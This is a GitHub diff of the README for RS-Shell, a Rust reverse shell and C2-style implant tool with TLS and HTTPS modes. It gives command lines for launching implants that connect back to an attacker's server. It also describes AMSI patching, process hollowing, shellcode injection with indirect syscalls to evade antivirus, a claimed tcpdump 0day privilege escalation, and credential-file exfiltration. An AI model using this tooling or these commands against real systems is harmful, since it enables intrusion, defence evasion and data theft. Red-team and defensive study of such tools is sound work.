You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+61-27Lines changed: 61 additions & 27 deletions
Original file line number
Diff line number
Diff line change
@@ -11,11 +11,21 @@
11
11
12
12
## Description
13
13
14
-
RS-Shell is a TLS over TCP reverse shell developped in Rust with client and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
14
+
RS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
15
15
16
-
Client and server are both cross-platform and work on Windows and Linux systems.
16
+
RS-Shell implements two modes: **TLS over TCP**and **HTTPS**.
17
17
18
-
For Windows client, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
18
+
* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the *attacker*'s machine
19
+
* HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:
20
+
* The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/)
21
+
* The implant is executed on the target machine and will request the server for "new tasks" every 2 seconds (by default, can be changed in the code for the moment)
22
+
* The client is executed on the *attacker* machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant
23
+
24
+
Windows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail).
25
+
26
+
Client, implant and server are all cross-platform and work on Windows and Linux systems.
27
+
28
+
For Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
19
29
20
30
For this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI.
21
31
@@ -26,10 +36,11 @@ The project is thought in module. This means that you can easily add or remove f
26
36
For the moment, the following features are present:
27
37
28
38
* Semi-interactive reverse shell via TLS over TCP
29
-
* File upload and download between server and client
30
-
* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls
39
+
* Semi-interactive reverse shell via HTTPS with a *C2 like infrastructure*, and a proxy aware Windows implant
40
+
* File upload and download
41
+
* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (**only in TCP mode**)
31
42
* Loading features :
32
-
* Load and execute a PE in the client memory, **with or without indirect syscalls**
43
+
* Load and execute a PE in the implant memory, **with or without indirect syscalls**
33
44
* Load and execute a PE in a remote process memory, **with or without indirect syscalls**
34
45
* Load and execute a shellcode in a remote process memory, **with or without indirect syscalls**
35
46
* Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in `tcpdump`
@@ -40,17 +51,29 @@ To perform the indirect syscalls, I use the incredible [rust-mordor-rs](https://
40
51
41
52
### Setup
42
53
43
-
I have set a `dummy` domain for hostname validation in the `connect()` function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
44
-
45
54
By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.
46
55
47
-
A new self-signed TLS certificate can be obtained like this :
56
+
#### TCP setup
57
+
58
+
I have set a `dummy` domain for hostname validation in the `connect()` function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
59
+
60
+
A new self-signed PKCS12 TLS certificate can be obtained like this:
Similarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.
70
+
71
+
Rustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.
@@ -72,23 +95,33 @@ Should run on all Windows and Linux versions (I have hope).
-s, --side <side> launch the client or the listener [possible values: c, l]
79
-
-i, --ip <ip> IP address to bind to for the listener, or to connect to for the clien
80
-
-p, --port <port> port address to bind to for the listener, or to connect to for the client
81
-
--cert-path <cert_path> path of the TLS certificate (in PFX or PKCS12 format) for the server
82
-
--cert-pass <cert_pass> password of the TLS certificate for the server
101
+
-m, --mode <mode> communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]
102
+
-s, --side <side> launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]
103
+
-i, --ip <ip> IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants
104
+
-p, --port <port> port address to bind to for the TCP listener, or to connect to for the implant
105
+
--cert-path <cert_path> path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS
106
+
--cert-pass <cert_pass> password of the TLS PKCS12 certificate for the TCP server
107
+
--key-path <key_path> path of the TLS key for the HTTPS server
83
108
-h, --help Print help
84
109
-V, --version Print version
85
-
86
-
In a session, type 'help' for advanced integrated commands
87
110
```
88
111
89
-
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
112
+
#### TCP usage
113
+
114
+
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
115
+
116
+
Then, on the target machine launch the implant to connect back to your server with `rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
117
+
118
+
#### HTTPS usage
119
+
120
+
First, launch the binary in server mode on a server that can be reached by both the implant and the client: `rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path`. For example `rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\cert.pem --key-path .\key.pem`.
121
+
122
+
Then, execute the implant on the target machine with `rs-shell.exe -m https -s i -i IP_to_connect_to`. For example `rs-shell.exe -m https -s i -i 192.168.1.40`.
90
123
91
-
Then, on the target machine launch the client to connect back to your server with `rs-shell.exe -s c -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
124
+
Finally, run the client on your machine to connect to the server and start to interact with the implant with `rs-shell.exe -m https -s c -i IP_to_connect_to`. For example `rs-shell.exe -m https -s c -i 192.168.1.40`.
92
125
93
126
### Advanced commands
94
127
@@ -129,19 +162,19 @@ Then, on the target machine launch the client to connect back to your server wit
129
162
130
163
The `load` commands permit to load and execute directly in memory:
131
164
132
-
*`load` loads and execute a PE in the client memory. This will kill the reverse shell, but that could be usefull to launch a C2 implant in the current process for example
165
+
*`load` loads and execute a PE in the client memory. **This will kill the reverse shell**, but that could be usefull to launch a C2 implant in the current process for example
133
166
*`load -h` loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR
134
-
*`load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target via the TCP tunnel
167
+
*`load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk
135
168
136
169
For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe`. This will start a `cmd.exe` process with hollowing, load a `calc.exe` image in the process memory, and then resume the thread to execute the calc.
137
170
138
-
On the other hand, the `syscalls` commands permit the same things, but everything is performed with indirect syscalls.
171
+
On the other hand, the `syscalls` commands permit the same things, but everything is performed with *indirect syscalls*.
139
172
140
-
`powpow` starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
173
+
`powpow`(**only available in TCP mode**) starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
141
174
142
-
`download` permits to download a file from the client to the machine where the listener is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`.
175
+
`download` permits to download a file from the client to the machine where the server is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`. In HTTPS mode it is just `download C:\Users\Administrator\Desktop\creds.txt`, and the file will be downloaded in the `downloads` directory on the server.
143
176
144
-
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`.
177
+
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`. In HTTPS mode it is just `upload ./pwn.exe`, and the file will be uploaded in the directory where the implant has been written.
145
178
146
179
`autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.
147
180
@@ -150,7 +183,7 @@ On the other hand, the `syscalls` commands permit the same things, but everythin
150
183
-[x] Move all the Win32API related commands to the NTAPI with indirect syscalls
151
184
-[ ] Implement other injection techniques
152
185
-[ ] Implement a port forwarding solution
153
-
-[] Find a way to create a fully proxy aware client
186
+
-[x] Find a way to create a fully proxy aware client
154
187
-[ ] Implement a reverse socks proxy feature
155
188
156
189
## Disclaimers
@@ -166,4 +199,5 @@ Usage of anything presented in this repo to attack targets without prior mutual
166
199
* Multiple projects by [memN0ps](https://github.com/memN0ps)
167
200
*[RustPacker](https://github.com/Nariod/RustPacker) by [Nariod](https://github.com/Nariod)
168
201
* Nik Brendler's blog posts about pipe communication between process in Rust. [Part 1](https://www.nikbrendler.com/rust-process-communication/) and [Part 2](https://www.nikbrendler.com/rust-process-communication-part-2/)
169
-
*[rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust
202
+
*[rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust
0 commit comments